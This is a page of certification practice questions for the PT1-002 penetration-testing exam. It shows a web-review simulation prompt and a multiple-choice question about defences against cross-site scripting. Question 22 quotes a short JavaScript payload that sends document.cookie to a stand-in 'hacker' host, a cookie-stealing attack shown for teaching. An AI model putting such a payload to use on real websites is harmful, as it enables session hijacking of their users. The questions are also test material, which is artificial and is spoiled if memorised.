PT1-002 Practice Test

PT1-002 Practice Test practice questions, page 5 of 5, with answer review and explanations.

Question 21

You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS - Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button. Select and Place:

Question 22

Given the following code: var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie; Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

  1. Web-application firewall
  2. Parameterized queries
  3. Output encoding
  4. Session tokens
  5. Input validation
  6. Base64 encoding